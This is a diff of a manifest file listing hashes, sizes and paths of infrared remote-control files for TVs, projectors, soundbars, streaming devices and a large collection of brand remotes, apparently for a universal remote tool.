+F:d588253058e5e981e4e627331ff9109d:456:infrared/Miscellaneous/LaserX/LaserX_Tag.ir D:infrared/Projectors/BenQ D:infrared/Projectors/BrandUnknown D:infrared/Projectors/Casio D:infrared/Projectors/Da-Lite D:infrared/Projectors/Dragonfly D:infrared/Projectors/Epson -F:359785e3ded7b9db05ec9e12c91f06a7:595:infrared/Projectors/BenQ/BenQ.ir -F:4510ba6faa6e79fbca45919dc56fedfb:1135:infrared/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir +F:7274af18f1398bfdcba3eef27e1d9a93:557:infrared/Projectors/BenQ/BenQ.ir +F:0e105b594e97491c8d1b5149b3d2d507:1061:infrared/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir F:82e090bb0e8d82b6ff237d8e7ae2cee3:119:infrared/Projectors/BrandUnknown/README.md -F:c74dcf2ad2b7e12d1e51edbc0806f0f8:1004:infrared/Projectors/BrandUnknown/Scrn_innov.ir -F:d470d0ab0f7abf24cf5503c8690483b5:2628:infrared/Projectors/BrandUnknown/Stlth_acou.ir -F:747018d48ea5fc8618eefee3b633f118:1629:infrared/Projectors/Casio/Casio_YT-130.ir -F:29f9e5b8d77aad6e232b4119cbf4b591:1004:infrared/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir -F:9c1c34659b5a9c4e98c2b249435b7b9a:3569:infrared/Projectors/Dragonfly/Dragonfly_Screen.ir -F:d4f2b3948d0a533fd0730b658f199a83:1705:infrared/Projectors/Epson/Epson.ir +F:948df7276fee7f0c20e285c85a1700f9:984:infrared/Projectors/BrandUnknown/Scrn_innov.ir +F:1082b46f593e4673de9ede5aefc9bbb1:2608:infrared/Projectors/BrandUnknown/Stlth_acou.ir +F:a0af1af37f404781d60bbe4cf313d162:1525:infrared/Projectors/Casio/Casio_YT-130.ir +F:3cb1be0f536a0a6160e35828905a20d3:984:infrared/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir +F:d92b34f3a7170e54afddc6731b49d6e1:3537:infrared/Projectors/Dragonfly/Dragonfly_Screen.ir +F:71767c67b0394773908c6cffeeab22e4:1595:infrared/Projectors/Epson/Epson.ir D:infrared/SoundBars/Bose D:infrared/SoundBars/BrandUnknown D:infrared/SoundBars/Klipsch D:infrared/SoundBars/Sony D:infrared/SoundBars/Vizio D:infrared/SoundBars/Yamaha -F:ea40f4d0f73c4a0380c67e7cfc585e32:7374:infrared/SoundBars/Samsung.ir -F:50b0fe93e6ca659fd84c03998b800aba:4030:infrared/SoundBars/Bose/Bose_Solo_2.ir -F:dfc7fa00c61e52c672a7acf6cf703ff1:517:infrared/SoundBars/Bose/Bose_Solo_5.ir -F:50b0fe93e6ca659fd84c03998b800aba:4030:infrared/SoundBars/Bose/Bose_Soundbar.ir -F:f0d69c1a9a4ed0b1ad3475c2ad784431:854:infrared/SoundBars/BrandUnknown/Amz_snd_bar.ir -F:49955025312ba9d29aa21ce70bd1d66e:696:infrared/SoundBars/BrandUnknown/Soundblasterx.ir -F:4a6de51565a26ba00b261d1d9e99dc1a:948:infrared/SoundBars/Klipsch/Klipsch_Soundbar.ir -F:b161900861ddd997d61d155b5363c262:3201:infrared/SoundBars/Sony/Sony_MHC-GS300AV.ir -F:ac87eda65d0ee9d1c01ff61359e31034:405:infrared/SoundBars/Sony/Sony_Old_XBR.ir -F:60150e551ee698071e9daa7b61e4931b:494:infrared/SoundBars/Sony/Sony_RDH-GTK33IP.ir -F:467477bde104a1dcc8849dc8986f301e:1312:infrared/SoundBars/Vizio/Vizio_Soundbar.ir -F:4cce8883b17706e14a9dd4d9bea05b45:1796:infrared/SoundBars/Yamaha/Yamaha_RX.ir +F:9073ffc1231ea1e4427fbfb0975bcf87:7312:infrared/SoundBars/Samsung.ir +F:18c2d78c768eddd9fe55b53a8e52cb4b:3980:infrared/SoundBars/Bose/Bose_Solo_2.ir +F:58556c883649cd3383b14174834d3b26:486:infrared/SoundBars/Bose/Bose_Solo_5.ir +F:18c2d78c768eddd9fe55b53a8e52cb4b:3980:infrared/SoundBars/Bose/Bose_Soundbar.ir +F:83f6ccdbdf32370fa4cf7afd651a6e0c:798:infrared/SoundBars/BrandUnknown/Amz_snd_bar.ir +F:cb5a9a382859ce07d68cc24a5f181a29:652:infrared/SoundBars/BrandUnknown/Soundblasterx.ir +F:ffee0f5c3871cc57051ca7aee2f1bb5d:886:infrared/SoundBars/Klipsch/Klipsch_Soundbar.ir +F:0db08de6575d9587cd73c13b490096ae:3001:infrared/SoundBars/Sony/Sony_MHC-GS300AV.ir +F:74fa5f6c842e70e451b9481c17b71b9c:379:infrared/SoundBars/Sony/Sony_Old_XBR.ir +F:3dec8c401d6bdbaa29195eca7e020a28:462:infrared/SoundBars/Sony/Sony_RDH-GTK33IP.ir +F:df77f812f9c006b4311024260d68692c:1226:infrared/SoundBars/Vizio/Vizio_Soundbar.ir +F:364eff5aa9a946efa188b084f2f94b19:1680:infrared/SoundBars/Yamaha/Yamaha_RX.ir D:infrared/Streaming Devices/Apple D:infrared/Streaming Devices/Roku -F:2603bcd0315f1227549b11822740ea95:622:infrared/Streaming Devices/Apple/Apple_TV.ir -F:3f24fa57b7df28a4354f6169dca0827b:309:infrared/Streaming Devices/Roku/Jet_AFS-1000b.ir -F:c8bec9dd49b7dc888ba0a963e9eaa7d9:959:infrared/Streaming Devices/Roku/Roku.ir -F:2784f57fcfa0da2915b6b0061316aa87:956:infrared/Streaming Devices/Roku/Roku2.ir -F:28630c4dde543ba2bfab1509531e6310:1527:infrared/Streaming Devices/Roku/Roku_Alternate.ir +F:1e6f06b66e0b4955e408f1c9198f2898:584:infrared/Streaming Devices/Apple/Apple_TV.ir +F:8a10771a7803c76340c7268781480455:289:infrared/Streaming Devices/Roku/Jet_AFS-1000b.ir +F:ba96cf68fc19e2802def5d0a13276c5a:897:infrared/Streaming Devices/Roku/Roku.ir +F:4b3244bc0592b2b4b98837fa942387ce:894:infrared/Streaming Devices/Roku/Roku2.ir +F:422c029d78f15c417eccddc4a933a997:1429:infrared/Streaming Devices/Roku/Roku_Alternate.ir D:infrared/TVs/Hisense D:infrared/TVs/LG D:infrared/TVs/NEC @@ -421,29 +421,29 @@ D:infrared/TVs/TCL D:infrared/TVs/Toshiba D:infrared/TVs/Vizio D:infrared/TVs/Westinghouse -F:5cce92c8e036aa0977c8cf38c5912e94:1134:infrared/TVs/APEX LE4643T TV.ir -F:1c88d5fa75f9fc6500157e52c50fa372:1407:infrared/TVs/LG_55UN7300AUD.ir -F:e394f6ed88e5dc666fca04245335638a:1771:infrared/TVs/Hisense/Hisense_RokuTV.ir -F:77344dbfc24836be726f4b141b1d84f2:950:infrared/TVs/LG/LG_C1.ir -F:4371f9653871067706e82efac8202a0b:20085:infrared/TVs/NEC/NEC.ir -F:213f136221aad057d32c7bfe434ad09c:23951:infrared/TVs/Panasonic/Panasonic_TC-P50S2.ir -F:e8c6c408c676104d6daec677c8839456:3878:infrared/TVs/Philips/Philips_32PFL4208T.ir -F:203f8a538e041a7fc7fb479c3d25aec0:4267:infrared/TVs/Samsung/Samsung.ir -F:4612e7168730f1b8c6d01477cd6e45e3:1476:infrared/TVs/Samsung/Samsung_BN59.ir -F:a8375d9488618a99f0368e3d69f45af4:4224:infrared/TVs/Samsung/Samsung_BN5901301A.ir -F:105524176f9c74cabdff0904f1939468:135:infrared/TVs/Samsung/Samsung_E6.ir -F:10277cf46b430e8cc52eba2a3714b285:1193:infrared/TVs/Samsung/Samsung_TV.ir -F:3cc87234d0974398b8d5920e46bf31d0:1923:infrared/TVs/Sharp/Sharp_Roku_TV.ir -F:ec129c562cb5c035ec09323f85d6d4ff:928:infrared/TVs/Sony/Sony_Bravia.ir -F:39bf7860cde370a65617925156fac09a:1122:infrared/TVs/Sony/Sony_XBR.ir -F:2caf380dd216a274a75fa8d9cb1ed4d4:681:infrared/TVs/Sony/Sony_XBR_RMT-TX200U.ir -F:e10f076b29001c5cf90fb7f99453ade0:1198:infrared/TVs/Sunbrite/Sunbrite.ir -F:25b367b5a164a020ae25dab9d87859d5:954:infrared/TVs/TCL/TCL_32S327.ir -F:c63f710e141a383dea85a7409c279583:8813:infrared/TVs/TCL/TCL_UnknownModel1.ir -F:1d8c305844be2012b47b625e4d9b8acc:1058:infrared/TVs/TCL/TCL_UnknownModel2.ir -F:62cd44fefd749f574c6f52b87e81e57a:581:infrared/TVs/Toshiba/Toshiba_32AV502U.ir -F:57f32c594f866c0a655ff9d2e4b048bc:1568:infrared/TVs/Vizio/Vizio.ir -F:9f484a6b27d1660e663fcd95587634ac:1423:infrared/TVs/Westinghouse/Westinghouse.ir +F:12705d395604262862a3558785d43900:1060:infrared/TVs/APEX LE4643T TV.ir +F:ebfe55932b90ec70fbf6c8b5f77d6d5e:1315:infrared/TVs/LG_55UN7300AUD.ir +F:9ab235cd80d35a984536040aab0fe9a6:1655:infrared/TVs/Hisense/Hisense_RokuTV.ir +F:b489b8d113de9b05cd5487434e979ce9:888:infrared/TVs/LG/LG_C1.ir +F:ac371e88aa7e629d2dbc5c43767f0fbd:19927:infrared/TVs/NEC/NEC.ir +F:ed1035363a609949f1f15e301824cfeb:23673:infrared/TVs/Panasonic/Panasonic_TC-P50S2.ir +F:772dfa581a1dac6bd19795652db95673:3618:infrared/TVs/Philips/Philips_32PFL4208T.ir +F:154a3ee989ee531f538ca422223f3968:4002:infrared/TVs/Samsung/Samsung.ir +F:37afe1a7cd8ffd78a7efb8e97605c829:1384:infrared/TVs/Samsung/Samsung_BN59.ir +F:549484147e6172da34ffc29d04cd4a6d:3958:infrared/TVs/Samsung/Samsung_BN5901301A.ir +F:655f9c446a64ef6a0bd0afd157d1b115:127:infrared/TVs/Samsung/Samsung_E6.ir +F:e30b19e19ebb9720d8dedc73c891a01b:1119:infrared/TVs/Samsung/Samsung_TV.ir +F:652fd6c4cfaf48b3d9e1717f9a301434:1795:infrared/TVs/Sharp/Sharp_Roku_TV.ir +F:158b4ed3702745b5b4e6d80ea13af8a1:896:infrared/TVs/Sony/Sony_Bravia.ir +F:313eb09138e3f1e082ce802a99177187:1048:infrared/TVs/Sony/Sony_XBR.ir +F:09a64606f74e9aaaa201e83859d8ee39:637:infrared/TVs/Sony/Sony_XBR_RMT-TX200U.ir +F:d9aa4555541367c56cd8ca0892e8f4a7:1118:infrared/TVs/Sunbrite/Sunbrite.ir +F:661fec66bc4b73c343d9e2617334911d:892:infrared/TVs/TCL/TCL_32S327.ir +F:1c4fd470eba9364fb0a958d9cc77e5ca:8715:infrared/TVs/TCL/TCL_UnknownModel1.ir +F:b8469a0575254674ea6ac9da046fcd12:990:infrared/TVs/TCL/TCL_UnknownModel2.ir +F:732f7a1913f8ea97e958bb57df8ca29e:543:infrared/TVs/Toshiba/Toshiba_32AV502U.ir +F:8cde98d701dcfd34f711d0850111d892:1464:infrared/TVs/Vizio/Vizio.ir +F:cbf4d9e2ef67c8244d62c5354f7217dd:1331:infrared/TVs/Westinghouse/Westinghouse.ir D:infrared/_CSV-IRDB_/2wire D:infrared/_CSV-IRDB_/3M D:infrared/_CSV-IRDB_/ABIT @@ -1054,56 +1054,56 @@ D:infrared/_CSV-IRDB_/universum D:infrared/_CSV-IRDB_/videologic D:infrared/_CSV-IRDB_/viewmaxpro D:infrared/_CSV-IRDB_/xsat -F:e47806cedff325d32b6e5c146cc58d39:577:infrared/_CSV-IRDB_/ReadMe.md +F:3b0d4c62480f39dfdde0ee7ed9eb186f:572:infrared/_CSV-IRDB_/ReadMe.md D:infrared/_CSV-IRDB_/2wire/Unknown_2wire -F:223746620c4c6d997d9656eda09f5cf2:1864:infrared/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir +F:d06f4b66295971ae0bddd3c66236796e:1748:infrared/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir D:infrared/_CSV-IRDB_/3M/Projector D:infrared/_CSV-IRDB_/3M/Video Projector -F:8ae8134d2aa858586f359406b99a4b3d:1529:infrared/_CSV-IRDB_/3M/Projector/134,-1.ir -F:8ae8134d2aa858586f359406b99a4b3d:1529:infrared/_CSV-IRDB_/3M/Video Projector/134,-1.ir +F:0cb3b13a4ec368f42d167f67ecd95074:1431:infrared/_CSV-IRDB_/3M/Projector/134,-1.ir +F:0cb3b13a4ec368f42d167f67ecd95074:1431:infrared/_CSV-IRDB_/3M/Video Projector/134,-1.ir D:infrared/_CSV-IRDB_/ABIT/DVD_WINDVD -F:415b9e26e3487d5738f6647643dc3a1c:3442:infrared/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir +F:094ce5f107a9d2b9c88b27ebdb22cc25:3224:infrared/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir D:infrared/_CSV-IRDB_/ABS/SAT_8776 -F:63b947cbb859a866cd569792ad23339d:2881:infrared/_CSV-IRDB_/ABS/SAT_8776/8,0.ir +F:3f5c1170e3a08d024b74cdb0df2b8a72:2699:infrared/_CSV-IRDB_/ABS/SAT_8776/8,0.ir D:infrared/_CSV-IRDB_/ADA/Millenium -F:682c4c0ccd5dfaa4798434c0c4c4a010:130:infrared/_CSV-IRDB_/ADA/Millenium/27,-1.ir +F:45d6e8e79e1d94ecafa4c1252c36c56f:122:infrared/_CSV-IRDB_/ADA/Millenium/27,-1.ir D:infrared/_CSV-IRDB_/ADB/SAT_ICAN3000 D:infrared/_CSV-IRDB_/ADB/Set Top Box -F:6e76790fda22cb7019c6ee5c9e1ebd4a:3357:infrared/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir -F:d91d26df535ff083dd963e1af06157b9:3552:infrared/_CSV-IRDB_/ADB/Set Top Box/42,17.ir +F:c2c9833e3719d16f5c35ed06eb168da4:3145:infrared/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir +F:5302ce22bb0d82108f661fe17d54ea59:3322:infrared/_CSV-IRDB_/ADB/Set Top Box/42,17.ir D:infrared/_CSV-IRDB_/ADS/AUDIO_Tech D:infrared/_CSV-IRDB_/ADS/TV_Instant -F:a275a22bfe83e21da62e50938b3d7b2b:2409:infrared/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir -F:5d5b912320a82952e7b74aa3382861fc:4220:infrared/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir +F:99f88ed6fdd22d1ed59019922b97c8f6:2257:infrared/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir +F:b8cb8282ba162c5d616282147db219ce:3954:infrared/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir D:infrared/_CSV-IRDB_/AIM/MCE_AIM-RC126 D:infrared/_CSV-IRDB_/AIM/RADIO -F:0390a99a1f1ce99fd0ee226c7cf20fee:4639:infrared/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir -F:adb6c223555b938b39f4359be632219d:1664:infrared/_CSV-IRDB_/AIM/RADIO/129,129.ir +F:53c8000c0e063f8096c9f68b1c3bb8a9:4349:infrared/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir +F:b31d56277c1953455c32c6c6ed53a1bd:1560:infrared/_CSV-IRDB_/AIM/RADIO/129,129.ir D:infrared/_CSV-IRDB_/ANITECH/TV -F:b14122a65506133895acd0b34004941a:822:infrared/_CSV-IRDB_/ANITECH/TV/0,-1.ir +F:a3c77bd03cc744d98012aed79ea53c69:772:infrared/_CSV-IRDB_/ANITECH/TV/0,-1.ir D:infrared/_CSV-IRDB_/AOC/TV -F:e7c3324402483175c9f8712deaf5e002:2371:infrared/_CSV-IRDB_/AOC/TV/0,189.ir +F:a8a2677915a10a6a8bd5e984ee51fde2:2219:infrared/_CSV-IRDB_/AOC/TV/0,189.ir D:infrared/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U -F:5ead07f7e913150a0cd884a8f93ef8ee:2694:infrared/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir +F:0ce8e8fc3822be5ae9ded2781e10f052:2524:infrared/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir D:infrared/_CSV-IRDB_/AccessMedia/ThinBox -F:83c5a9396aad636ccf4ad0ab3895123c:3461:infrared/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir +F:358aa8b6b342cfc4ab4d479bd4c16477:3243:infrared/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir D:infrared/_CSV-IRDB_/Accupel/Signal Generator -F:30d5185ac241a3fe0e86dd6dadb1fecc:2373:infrared/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir +F:5631f118aa3449cb6b0307e3e68ccb5a:2221:infrared/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir D:infrared/_CSV-IRDB_/Acer/Projector D:infrared/_CSV-IRDB_/Acer/Unknown_AT3201W D:infrared/_CSV-IRDB_/Acer/Unknown_Aspire D:infrared/_CSV-IRDB_/Acer/Unknown_RC-802 -F:079281013db12855965566c03965a18d:131:infrared/_CSV-IRDB_/Acer/Projector/8,19.ir -F:23b769dd6f7919b6ea5bf79a06c0b57a:4924:infrared/_CSV-IRDB_/Acer/Unknown_AT3201W/97,99.ir -F:0898a1fa01a2cfb48df9befb06107471:4361:infrared/_CSV-IRDB_/Acer/Unknown_Aspire/4,15.ir -F:63be95c5a94521141e4ece62831b36df:4601:infrared/_CSV-IRDB_/Acer/Unknown_RC-802/16,37.ir +F:509bf9c52e176e6e85d9c02dc6479cc6:123:infrared/_CSV-IRDB_/Acer/Projector/8,19.ir +F:f63e16c8c4273455f26bb8b97ba40c37:4610:infrared/_CSV-IRDB_/Acer/Unknown_AT3201W/97,99.ir +F:f76e1960d5ceb9eba1be6b61506d0777:4089:infrared/_CSV-IRDB_/Acer/Unknown_Aspire/4,15.ir +F:b510f474735be79aced47bfd6f2cbeaa:4311:infrared/_CSV-IRDB_/Acer/Unknown_RC-802/16,37.ir D:infrared/_CSV-IRDB_/Acesonic/Karaoke -F:e4bc20f7cec8ecb2b9e32fff6cbd9391:5520:infrared/_CSV-IRDB_/Acesonic/Karaoke/5,122.ir -F:09a250442d7e13465342a6ad02f656a7:3140:infrared/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir +F:6e051ac106519b24d747d4970e181f5d:5158:infrared/_CSV-IRDB_/Acesonic/Karaoke/5,122.ir +F:2ca6a4054ab62a1801fc2fc5781a3b76:2934:infrared/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir D:infrared/_CSV-IRDB_/Aconatic/Unknown_AN-2121 -F:dcdb4044292ff6b56192fc19ad161e0b:4576:infrared/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir +F:ce7259933d1454c3a6e0294a18f1cc3f:4286:infrared/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir D:infrared/_CSV-IRDB_/Acorp/Unknown_Acorp-878 -F:a6aaddea286ab444750b2c09d07685c1:3472:infrared/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir +F:b26d1acb410dcb45838190976515a3b5:3254:infrared/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir D:infrared/_CSV-IRDB_/Adcom/AV Preamplifier D:infrared/_CSV-IRDB_/Adcom/CD Player D:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier @@ -1111,30 +1111,30 @@ D:infrared/_CSV-IRDB_/Adcom/Receiver D:infrared/_CSV-IRDB_/Adcom/Surround Processor D:infrared/_CSV-IRDB_/Adcom/Tuner D:infrared/_CSV-IRDB_/Adcom/Unknown -F:9f4ec9b6590bb8d95e9e7bd015d597a8:6537:infrared/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir -F:ddb5bf06422db47fb19ba2cad207e1be:4791:infrared/_CSV-IRDB_/Adcom/CD Player/26,-1.ir -F:42646b7e244d1cf1ce740d0ad4280072:449:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir -F:e011155d2901269b8462b0fd71c02b9c:16879:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir -F:c6a26e4d2ac92de0edd1226c11fdc7ee:3012:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir -F:109bdc76680b34bccfd2597a62b23819:2898:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir -F:9b30297f6d5d8f7080d82a23bb7e74d2:449:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir -F:b4ee520f0076547b422be7b371dc00da:5987:infrared/_CSV-IRDB_/Adcom/Receiver/26,-1.ir -F:1f2b2c5d1e8986a11a677c8ef20d40d5:1106:infrared/_CSV-IRDB_/Adcom/Receiver/26,232.ir -F:aa9f6514e98a7c841b0442c977f00b1a:2429:infrared/_CSV-IRDB_/Adcom/Receiver/81,0.ir -F:61e0403c762b0cdfd707d4c18637aef0:1636:infrared/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir -F:d4b9144fddf8d9a24798ca89162af505:2415:infrared/_CSV-IRDB_/Adcom/Tuner/26,-1.ir -F:41e1a4fbb422e01426d9bf17f20dbc82:2233:infrared/_CSV-IRDB_/Adcom/Unknown/26,-1.ir -F:c209f184918efc34a613cf5d5e1f889e:2242:infrared/_CSV-IRDB_/Adcom/Unknown/81,0.ir +F:db9c18f005c58bdd4df9bd15847fcc6f:6115:infrared/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir +F:b1fdac154cf2f2a5bd21b17ed5027392:4483:infrared/_CSV-IRDB_/Adcom/CD Player/26,-1.ir +F:de6d49b42f4d8e1fad14129f95dcf082:423:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir +F:5a4f53e36212345c3c5e82ac7570081b:15791:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir +F:e64ae6e40fd75e5059146a20059183ce:2818:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir +F:e8e32b9a1d351d0c25906499f9baf241:2710:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir +F:1a65045c4d269ca2cb05441d46709896:423:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir +F:f748d5d37210ec08ddd40109baf52694:5601:infrared/_CSV-IRDB_/Adcom/Receiver/26,-1.ir +F:11bad042af222b77cad3e0b217b7c9de:1038:infrared/_CSV-IRDB_/Adcom/Receiver/26,232.ir +F:9c3f507daf9ad37aeda5e6b741604fc5:2271:infrared/_CSV-IRDB_/Adcom/Receiver/81,0.ir +F:224a6628c5c4bb256cedad909c574bc3:1538:infrared/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir +F:ea004982843b4d1bbcdcbd94fbd9bcfc:2257:infrared/_CSV-IRDB_/Adcom/Tuner/26,-1.ir +F:9816e3b39fc56b3fd4c5962c9ed22c35:2087:infrared/_CSV-IRDB_/Adcom/Unknown/26,-1.ir +F:c19c6bb328b4da8dc04faa9a8af76462:2096:infrared/_CSV-IRDB_/Adcom/Unknown/81,0.ir D:infrared/_CSV-IRDB_/Adelphia/Cable Box -F:9a7b749934c54bbc0b125d36f1acfd28:2658:infrared/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir -F:6cabc6f7d70850eb36dcd6dec89bdd33:320:infrared/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir -F:4d06a66ec9d2856ec59ad9bc1f977493:3793:infrared/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir +F:13eba681dbef80d1acf4c5b469b6d3f3:2482:infrared/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir +F:8bebc0300dc29584da02bdc960b38503:300:infrared/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir +F:1c628dffc60f7072823e398749e9c095:3545:infrared/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir D:infrared/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic -F:3ca51cebac7aab08e838b8d45f1635a2:899:infrared/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir +F:b35d529475359ef97d788ce1fd1ad51b:843:infrared/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir D:infrared/_CSV-IRDB_/Aesthetix/Pre-Amplifier -F:e4f55a7efd9305518dadd2b888b2154b:1507:infrared/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir +F:e7a7347f95ebe58921c1eace45d9d5c9:1409:infrared/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir D:infrared/_CSV-IRDB_/Airmate/Fan -F:5aeeff33f8eff90693597fa05f17be39:697:infrared/_CSV-IRDB_/Airmate/Fan/3,1.ir +F:14c0d4bf3387f6448d2d110faa6c6779:653:infrared/_CSV-IRDB_/Airmate/Fan/3,1.ir D:infrared/_CSV-IRDB_/Aiwa/CD Player D:infrared/_CSV-IRDB_/Aiwa/Cassette Tape D:infrared/_CSV-IRDB_/Aiwa/Mini System @@ -1175,53 +1175,53 @@ D:infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b D:infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tz650 D:infrared/_CSV-IRDB_/Aiwa/Unknown_rc6as14 D:infrared/_CSV-IRDB_/Aiwa/VCR -F:c104b3faff65cc2dfef055010c9232fe:1594:infrared/_CSV-IRDB_/Aiwa/CD Player/118,0.ir -F:d25846590ecff95bd31cc5ecc390ca54:3149:infrared/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir -F:10e7344b0b40fa5374522099dc0a8ab0:2127:infrared/_CSV-IRDB_/Aiwa/Mini System/110,0.ir -F:4f6b3572da9b13c701cc4c59158b05a5:813:infrared/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir -F:f3efb5c1e6a11f743341c8f4d3c4f255:635:infrared/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir -F:eaa01a19b8aa297a51b05c3142b87dad:1054:infrared/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir -F:016199c8d60e2b91f23404c693f08c59:231:infrared/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir -F:7cbdfca8255147f071d266d73fd5fac7:4199:infrared/_CSV-IRDB_/Aiwa/Unknown/127,0.ir -F:c689deeab88ce29139a9d1925571f26b:3198:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir -F:9e8d9a6c47909d19c611a04a01de2c3f:2010:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir -F:a4f368627428308c17428301b042bdd3:3531:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir -F:cd65bc3548be57cc08041ab9a6779346:1545:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir -F:61a75e98eb09349984039ce21a048e4a:1188:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir -F:dd29b2ad70f74870882011d31b41c8d3:4004:infrared/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir -F:2b7c7f0c73d75cf19423a2bcafb03783:2393:infrared/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir -F:15918d7fbf12b73ca7282228bf5218c9:2396:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir -F:f045cca155fef993f900a49141c0f258:3156:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir -F:5e61fbedcfb6c14b4e501244530d5d13:3436:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir -F:5a41f9a3470517b2b12bd53610ef1765:3065:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir -F:0711094db801d1c89632fa094e0eaa1e:2394:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir -F:c3b14863b4bbd1eba896c7c9c821ef1a:3532:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir -F:581a34a726fc706176631442d87f9ac8:1622:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir -F:ce75db005d5b71761e226964f5205677:2782:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir -F:2eacaeb3d782ed2a5b3de69749acfe4e:3730:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir -F:91b7e98fec007319f2caacb069e11ac1:3054:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir -F:aa0671639288035387d7469ad6c7deee:3343:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir -F:3633105d4f6ec823bc9d52eb17418e7a:2954:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir -F:0014feaf7a0489d7ae2ecfdba669cc6a:2626:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir -F:915904752164c435508f5159303a9fba:3508:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir -F:8be225e7c1b83ec55c13cd7ed2fb73c4:3423:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir -F:9a665853372b0e2e6e8e81ec11376b79:3614:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir -F:83a4f0189c1295df926847b79053cb13:3893:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir -F:99a7722714e0d0ec8859b810f9fa9408:3905:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir -F:256f081600686da1597a01364987c984:1104:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir -F:3e1c32972521d73ce53bb47a947b9b70:3889:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir 